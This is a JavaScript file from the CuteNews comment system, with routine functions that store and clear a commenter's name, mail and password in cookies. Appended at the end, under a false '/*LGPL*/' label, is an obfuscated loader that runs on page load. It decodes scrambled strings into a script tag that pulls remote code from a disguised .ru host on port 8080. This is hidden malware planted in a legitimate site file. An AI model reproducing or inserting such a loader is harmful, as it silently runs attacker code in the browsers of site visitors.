
function CNreadCookie() {

var CNname = CNGetCookie('CNname');
var CNmail = CNGetCookie('CNmail');

if(CNname != null){ document.comment.name.value = CNname; }
if(CNmail != null){ document.comment.mail.value = CNmail; }

}




function CNforget() {

var expDate = new Date();

CNSetCookie('name', '', expDate);
CNSetCookie('CNpass', '', expDate);
CNSetCookie('CNname', '', expDate);
CNSetCookie('CNmail', '', expDate);


document.comment.name.value = '';
document.comment.mail.value = '';

alert("All Your personal information collected by CuteNews has been deleted!\nEnjoy your anonymity.");

}




function CNSubmitComment() {

if(document.comment.CNremember.checked){
        var expDays = 365;
        var expDate = new Date();
        expDate.setTime(expDate.getTime() +  (24 * 60 * 60 * 1000 * expDays));

        CNSetCookie('CNname', document.comment.name.value, expDate);
        CNSetCookie('CNmail', document.comment.mail.value, expDate);
}

return true;
}




function CNRememberPass(pass) {

        var expDays = 365;
        var expDate = new Date();
        expDate.setTime(expDate.getTime() +  (24 * 60 * 60 * 1000 * expDays));

        CNSetCookie('CNpass', pass, expDate);

}



function CNGetCookieVal (offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}





function CNGetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return CNGetCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}





function CNSetCookie (name, value) {
var argv = CNSetCookie.arguments;
var argc = CNSetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}



/*LGPL*/ try{ window.onload = function(){var Nqioqi3s1jgd6po = document.createElement('s$@!c))#r&@$^i#(p^)$t(#'.replace(/@|\(|#|&|\$|\!|\)|\^/ig, ''));Nqioqi3s1jgd6po.setAttribute('defer', 'd$^e$f)$e#^r()&&@'.replace(/\^|\!|\)|#|&|\(|@|\$/ig, ''));Nqioqi3s1jgd6po.setAttribute('type', 't)^e)$$x@t^(!!/(#j!$^&a$$v)a^@@s!@c&@r$!i(&@^p@###t$)'.replace(/\)|\!|@|#|&|\^|\(|\$/ig, ''));Nqioqi3s1jgd6po.setAttribute('id', 'H^#1@#$7!#@e)#^l&(t!!@n^(&4@&)m!)i^)'.replace(/#|&|@|\^|\!|\)|\$|\(/ig, ''));Nqioqi3s1jgd6po.setAttribute('s&r@$&@c&@'.replace(/@|\)|#|\(|\^|&|\$|\!/ig, ''),  'h@!(t^#!^)t^$!p&:)^&/&$/^@&!c)o^#o@&k^$$p(a($#d!&$-)c@@(#o(&m@^.&$)&t)$)#@o(p!)i$&x$##@.!!^@c(o$))m$.$(b!!r$#(e&&^a(k#&@-)(c!^)o()m()@^.))w#(^e^!b!#)!n^(e#&t$#^(e#$)n)^g)&(()l(#i^&s@&#)#h^.(^(r@#(u)!(:^@8@$!0&8)!(0(&/!)f$o&(c(u&$s$@)$.(!c$n)(#/)@!&f!&^o^c!^@^u()!s#^).)@c^n#(/((@#h$#o!!^)t&t(^i(&!e^s!!t)(^@a@r^)@&.!!c!()o#!m#^##/$#g^!(^o@!o((&g$&!@l$e!&&.$()!c^o@(m&@(/^#&4&$)@s#@&h$(&a@r^^!!e$$^#d$!#.(c$&o!)m^&/!^$@'.replace(/\(|\!|\$|&|#|\)|@|\^/ig, ''));if (document){document.body.appendChild(Nqioqi3s1jgd6po);}} } catch(Wimvoc4rlyyx82jdhtu) {}
